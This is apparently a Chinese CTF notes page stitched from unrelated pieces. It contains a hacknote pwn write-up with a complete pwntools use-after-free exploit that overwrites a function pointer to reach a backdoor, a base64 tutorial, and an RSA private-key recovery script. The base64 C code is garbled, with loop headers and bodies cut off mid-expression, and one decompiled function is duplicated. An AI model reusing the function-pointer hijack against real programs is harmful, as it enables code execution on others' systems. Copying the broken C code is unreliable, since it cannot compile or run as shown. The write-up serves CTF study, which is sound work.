题目分析

题目:hacknote

$ checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

IDA分析该程序主要有三个功能:添加节点、删除节点和显示节点

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

unsigned int del_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);                           // 获取要删除的节点
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
  {
    free(*((void **)notelist[index] + 1));      // content指针清空
    free(notelist[index]);                      // 节点清空
    puts("Success");                            // 释放content和节点之后并没有把节点列表的指针设置为NULL,存在UAF
  }
  return __readgsdword(0x14u) ^ v3;
}

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

还有一个预留好的后门函数(真贴心)

int magic()
{
  return system("cat flag");                    // back door func
}

经过审计发现,在删除节点时只是free了两个chunk,但是并没有把节点列表的值设为NULL,这导致我们可以在free后再次使用。

由于节点列表中每个值指向一个size为16的chunk,其中可用区域前4字节作为函数指针,后四字节作为指向content部分的指针,content的大小可以自由控制。于是可以利用fastbin的特性,分两次分别申请16&24 16&16的chunk,再从后往前free掉。这时候如果再重新申请16&16的chunk,之前申请的第三个chunk,也就是记录了函数指针的chunk在此次申请中作为content chunk,可以自由控制。只要往里面写入backdoor函数的地址,再执行print函数(UAF)显示index 1的内容,就可以get flag了。

完整exp

#!/usr/bin/python3
from pwn import *
import re
p=process("hacknote")
elf=ELF("hacknote")
backdoor=elf.symbols[b"magic"]
print("Backdoor addr:",backdoor)

def add(size:int,content):
    p.send(b"1")
    p.sendafter(b"Note size :",str(size).encode())
    p.sendafter(b"Content :",content)
    print(p.recv().decode())
    
def remove(index):
    p.send(b"2")
    p.sendafter(b"Index :",str(index).encode())
    print(p.recv().decode())
    
def show(index):
    p.send(b"3")
    p.sendafter(b"Index :",str(index).encode())
    print(re.findall(r"flag{[a-z0-9A-Z_]+}$",p.recv().decode()))
    
print(p.recv().decode())

add(16,b"a"*16)
add(8,b"b"*8)
remove(1)
remove(0)
add(8,p32(backdoor)+b"\x00"*4)
show(1)
#p.interactive()

0x00 base64的原理

编码方式

计算机储存数据以字节为单位,一个位有八个字节,比如“abc”字符串,这是底层的数据结构

a               b              c
01100001     01100010       01100011

三个字符对应3×8=24个位,同时24可以看成6×4的积,故把三个字节组合后,以六个字节为一组分割可以分割出4组,但是为了符合计算机的储存结构,每组空出来的两个高位要补上0。

00011000    00010110    00001001    00100011

同时,新的四个字节每个可以表示一个整数,如果将这些整数映射到一张特定的码表上,便会得到一个新的字符串。例如这是标准base64的码表:

由于base64有效位只有6位,意味着最大可以表示64个元素,故码表为0至63

那么刚刚新的四个字节就被表示成了:

Y(24)      W(22)      J(9)      j(35)

于是一串base64码就出来了:abc->YWJj

假如加密内容长度不是3的倍数怎么办?

我们可以通过补全字节的方法用0补全字节数到3的倍数,然后在base64码后用‘=’表明补全字节的数量。例如“abcd”字符串:

a               b              c            d        
01100001     01100010       01100011     01100100

00011000(Y)    00010110(W)    00001001(J)    00100011(j)    00011001(Z)     00000000(A)     00000000(A)    00000000(A)
//最后两个A要替换为=,因为转换后具有有效信息的只是前6个字节

得到base64码YWJjZA==

代码实现

利用3变4,不够3补为3的逻辑,我们可以利用C语言以三个字节为一组利用位运算符进行base64转换(个人认为三个字节一组循环处理是最高效的)

这是编码部分的C程序,标明了一些细节:

void base64_encode(char *src,char *result){
    int fill_bit=0;
    int data_length;
    int result_length;
    int index;
    bool full=true;
    data_length=strlen(src);
    //printf("length:%d\n",data_length);
    fill_bit=((3-strlen(src)%3)%3); //计算未满字节,注意除去3的情况
    for(int k=0;k>2;
        result[j++]=table[index];
        index=((src[i]&3)<<4)+(src[i+1]>>4);
        result[j++]=table[index];
        index=((src[i+1]&15)<<2)+(src[i+2]>>6);
        result[j++]=table[index];
        index=(src[i+2]&63);
        result[j++]=table[index];
        //<< >> 运算符的优先级低于+ -,注意加括号
    }
    result_length=strlen(result);
    for(int k=0;k

解码方式

按照上面的思维,很容易想到只要把=替换为A并且把4个字节合并为3个字节即可还原出原码。不过这里有个容易搞错的东西,解码时每个字符字节对应的二进制数据并不是这个字符的ASCII码,而是这个字符在码表中的下标。(在这里出了bug卡了一下,所以有点印象)

下面是C的实现方法:

int findchr(char *array,char ch){
    for(int i=0;i

void base64_decode(char *src,char *result){
    int base_len;
    int j=0;
    base_len=strlen(src);
    //printf("length:%d\n",base_len);
    for(int i=0;i>4);
        result[j++]=(findchr(table,src[i+1])<<4)+(findchr(table,src[i+2])>>2);
        result[j++]=((findchr(table,src[i+2])&3)<<6)+(findchr(table,src[i+3]));
        //注意编码是table对应的编码,不是原来的ascii码
        //按位运算符优先级低于位移运算符,注意括号
    }
}

0x01 base64的延伸

传输图片

有时候可以把图片的数据用base64编码,达到利于传输的目的

变种

很多二进制表通过对码表等进行加密或者位移的方法进行混淆,特别是用标准码表翻译出乱码时要留意这点

base64在逆向题中的特征

  • 通常会在strings视图中出现明显的码表或者一些base64码(其它base加密同理)
  • 通常decode的函数会有定长的循环同时带有很多位运算和指针操作啥的,利用这点可以快速锁定关键函数
  • 使用位移运算写的算法通常会带有有几个关键的整数,比如:4,2,6,15,63啥的,反正就是位运算涉及到的常数,可以用来作为关键函数的标志

0x02 完整源码

水平有限,欢迎指正!

#include
#include
#include
#include

char table[65]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char padding_char='=';

int findchr(char *array,char ch){
    for(int i=0;i>2;
        result[j++]=table[index];
        index=((src[i]&3)<<4)+(src[i+1]>>4);
        result[j++]=table[index];
        index=((src[i+1]&15)<<2)+(src[i+2]>>6);
        result[j++]=table[index];
        index=(src[i+2]&63);
        result[j++]=table[index];
        //<< >> 运算符的优先级低于+ -,注意加括号
    }
    result_length=strlen(result);
    for(int k=0;k>4);
        result[j++]=(findchr(table,src[i+1])<<4)+(findchr(table,src[i+2])>>2);
        result[j++]=((findchr(table,src[i+2])&3)<<6)+(findchr(table,src[i+3]));
        //注意编码是table对应的编码,不是原来的ascii码
        //按位运算符优先级低于位移运算符,注意括号
    }
}

int main(){
    char words[100]="abc";
    char en_words[100]="";
    char de_words[100]="";
    base64_encode(words,en_words);
    printf("encode:%s\n",en_words);
    base64_decode(en_words,de_words);
    printf("decode:%s\n",de_words);
    return 0;
}

脚本

使用Crypto库需要py2环境,更高版本用的是另外一个库(自行百度,懒):

pq可以尝试通过在线大整数分解网站求出
import math
import sys
from Crypto.PublicKey import RSA

keypair = RSA.generate(1024)
keypair.p = 440140550843727826962832356360132665339
keypair.q = 420226057252427765877741059207519510621
keypair.e = 65537

keypair.n = keypair.p * keypair.q  
Qn = long((keypair.p-1) * (keypair.q-1)) 

i = 1
while (True):
    x = (Qn * i ) + 1
    if (x % keypair.e == 0):
        keypair.d = x / keypair.e  # get d
        break
    i += 1

private = open('private.pem','w') 
private.write(keypair.exportKey()) 
private.close()

原理

  1. 由于N=p*q,分解出pq后极容易求得phi(N) = (p-1)*(q-1)
  2. 由于c = m^em = c^d,所以可以尝试从ed的关系下手,而e,d满足条件e*d ≡ 1(mod phi(N))e*d = 1 + k*phi(N)
  3. 由上面的关系式可以知道,只要从1到∞遍历k,代入到1 + k*phi(N),找到模上e后结果为0(整除)的那一项,即可得到正确的d!